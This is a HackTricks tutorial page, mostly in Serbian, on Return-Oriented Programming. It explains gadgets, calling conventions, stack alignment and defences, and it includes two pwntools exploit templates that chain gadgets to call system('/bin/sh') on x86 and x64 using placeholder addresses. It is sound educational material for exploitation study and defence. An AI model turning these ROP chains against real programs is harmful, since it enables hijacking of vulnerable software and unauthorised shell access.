ROP - Programiranje Orijentisano na Povratak

Reading time: 9 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne Informacije

Programiranje Orijentisano na Povratak (ROP) je napredna tehnika eksploatacije koja se koristi za zaobilaženje sigurnosnih mera kao što su No-Execute (NX) ili Prevencija Izvršavanja Podataka (DEP). Umesto da se injektuje i izvršava shellcode, napadač koristi delove koda koji su već prisutni u binarnom fajlu ili u učitanim bibliotekama, poznatim kao "gadgets". Svaki gadget obično završava sa ret instrukcijom i izvršava malu operaciju, kao što je premeštanje podataka između registara ili izvođenje aritmetičkih operacija. Povezivanjem ovih gadgets, napadač može konstruisati payload za izvođenje proizvoljnih operacija, efikasno zaobilazeći NX/DEP zaštite.

Kako ROP Radi

  1. Otimaње Kontrolnog Tok: Prvo, napadač treba da otme kontrolni tok programa, obično iskorišćavanjem buffer overflow-a da bi prepisao sačuvanu adresu povratka na steku.
  2. Povezivanje Gadgets: Napadač pažljivo bira i povezuje gadgets da bi izvršio željene akcije. To može uključivati postavljanje argumenata za poziv funkcije, pozivanje funkcije (npr., system("/bin/sh")), i rukovanje svim potrebnim čišćenjem ili dodatnim operacijama.
  3. Izvršenje Payload-a: Kada ranjiva funkcija vrati, umesto da se vrati na legitimnu lokaciju, počinje da izvršava lanac gadgets.

Alati

Obično, gadgets se mogu pronaći koristeći ROPgadget, ropper ili direktno iz pwntools (ROP).

ROP Lanac u x86 Primeru

x86 (32-bit) Konvencije Poziva

  • cdecl: Pozivaoc čisti stek. Argumenti funkcije se stavljaju na stek u obrnutom redosledu (s desna na levo). Argumenti se stavljaju na stek s desna na levo.
  • stdcall: Slično cdecl, ali je pozvana funkcija odgovorna za čišćenje steka.

Pronalaženje Gadgets

Prvo, pretpostavimo da smo identifikovali potrebne gadgets unutar binarnog fajla ili njegovih učitanih biblioteka. Gadgets koji nas zanimaju su:

  • pop eax; ret: Ovaj gadget uzima gornju vrednost steka u EAX registar i zatim se vraća, omogućavajući nam kontrolu nad EAX.
  • pop ebx; ret: Slično prethodnom, ali za EBX registar, omogućavajući kontrolu nad EBX.
  • mov [ebx], eax; ret: Premesti vrednost iz EAX u memorijsku lokaciju na koju pokazuje EBX i zatim se vraća. Ovo se često naziva write-what-where gadget.
  • Pored toga, imamo adresu funkcije system() dostupnu.

ROP Lanac

Koristeći pwntools, pripremamo stek za izvršenje ROP lanca na sledeći način, sa ciljem da izvršimo system('/bin/sh'), obratite pažnju kako lanac počinje sa:

  1. ret instrukcijom za svrhe poravnanja (opciono)
  2. Adresom funkcije system (pretpostavljajući da je ASLR onemogućen i da je libc poznat, više informacija u Ret2lib)
  3. Mesto za adresu povratka iz system()
  4. Adresom stringa "/bin/sh" (parametar za funkciju system)
python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain in x64 Example

x64 (64-bit) Calling conventions

  • Koristi System V AMD64 ABI konvenciju poziva na Unix-like sistemima, gde se prvih šest celobrojnih ili pokazivačkih argumenata prosleđuje u registrima RDI, RSI, RDX, RCX, R8, i R9. Dodatni argumenti se prosleđuju na steku. Vraćena vrednost se smešta u RAX.
  • Windows x64 konvencija poziva koristi RCX, RDX, R8, i R9 za prva četiri celobrojna ili pokazivačka argumenta, dok se dodatni argumenti prosleđuju na steku. Vraćena vrednost se smešta u RAX.
  • Registri: 64-bitni registri uključuju RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, i R8 do R15.

Finding Gadgets

Za naše potrebe, fokusiraćemo se na gadgete koji će nam omogućiti da postavimo RDI registar (da prosledimo "/bin/sh" string kao argument za system()) i zatim pozovemo system() funkciju. Pretpostavićemo da smo identifikovali sledeće gadgete:

  • pop rdi; ret: Uzimanje gornje vrednosti steka u RDI i zatim vraćanje. Osnovno za postavljanje našeg argumenta za system().
  • ret: Jednostavno vraćanje, korisno za poravnavanje steka u nekim scenarijima.

I znamo adresu system() funkcije.

ROP Chain

Ispod je primer korišćenja pwntools za postavljanje i izvršavanje ROP lanca koji ima za cilj da izvrši system('/bin/sh') na x64:

python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

U ovom primeru:

  • Koristimo pop rdi; ret gadget da postavimo RDI na adresu "/bin/sh".
  • Direktno skačemo na system() nakon postavljanja RDI, sa adresom system() u lancu.
  • ret_gadget se koristi za poravnavanje ako ciljno okruženje to zahteva, što je češće u x64 da bi se osiguralo pravilno poravnavanje steka pre pozivanja funkcija.

Poravnavanje Steka

x86-64 ABI osigurava da je stek poravnat na 16 bajtova kada se izvrši call instrukcija. LIBC, da optimizuje performanse, koristi SSE instrukcije (kao što je movaps) koje zahtevaju ovo poravnavanje. Ako stek nije pravilno poravnat (što znači da RSP nije višekratnik 16), pozivi funkcijama kao što je system će propasti u ROP lancu. Da biste to ispravili, jednostavno dodajte ret gadget pre pozivanja system u vašem ROP lancu.

Glavna razlika između x86 i x64

tip

Pošto x64 koristi registre za prvih nekoliko argumenata, često zahteva manje gadgeta nego x86 za jednostavne pozive funkcija, ali pronalaženje i povezivanje pravih gadgeta može biti složenije zbog povećanog broja registara i većeg adresnog prostora. Povećan broj registara i veći adresni prostor u x64 arhitekturi pružaju i prilike i izazove za razvoj eksploatacija, posebno u kontekstu Programiranja Orijentisanog na Povratak (ROP).

ROP lanac u ARM64 primeru

Osnovne informacije o ARM64 i konvencije pozivanja

Proverite sledeću stranicu za ove informacije:

Introduction to ARM64v8

Zaštite protiv ROP

  • ASLR & PIE: Ove zaštite otežavaju korišćenje ROP-a jer se adrese gadgeta menjaju između izvršavanja.
  • Stack Canaries: U slučaju BOF-a, potrebno je zaobići skladištenje stack canary da bi se prepisali povratni pokazivači za zloupotrebu ROP lanca.
  • Nedostatak Gadgeta: Ako nema dovoljno gadgeta, neće biti moguće generisati ROP lanac.

Tehnike zasnovane na ROP-u

Imajte na umu da je ROP samo tehnika za izvršavanje proizvoljnog koda. Na osnovu ROP-a razvijene su mnoge Ret2XXX tehnike:

  • Ret2lib: Koristi ROP za pozivanje proizvoljnih funkcija iz učitane biblioteke sa proizvoljnim parametrima (obično nešto poput system('/bin/sh').

Ret2lib

  • Ret2Syscall: Koristi ROP za pripremu poziva sistemskoj funkciji, npr. execve, i izvršava proizvoljne komande.

Ret2syscall

  • EBP2Ret & EBP Chaining: Prvi će zloupotrebiti EBP umesto EIP da kontroliše tok, a drugi je sličan Ret2lib, ali u ovom slučaju tok se kontroliše uglavnom sa EBP adresama (iako je takođe potrebno kontrolisati EIP).

Stack Pivoting - EBP2Ret - EBP chaining

Ostali primeri i reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks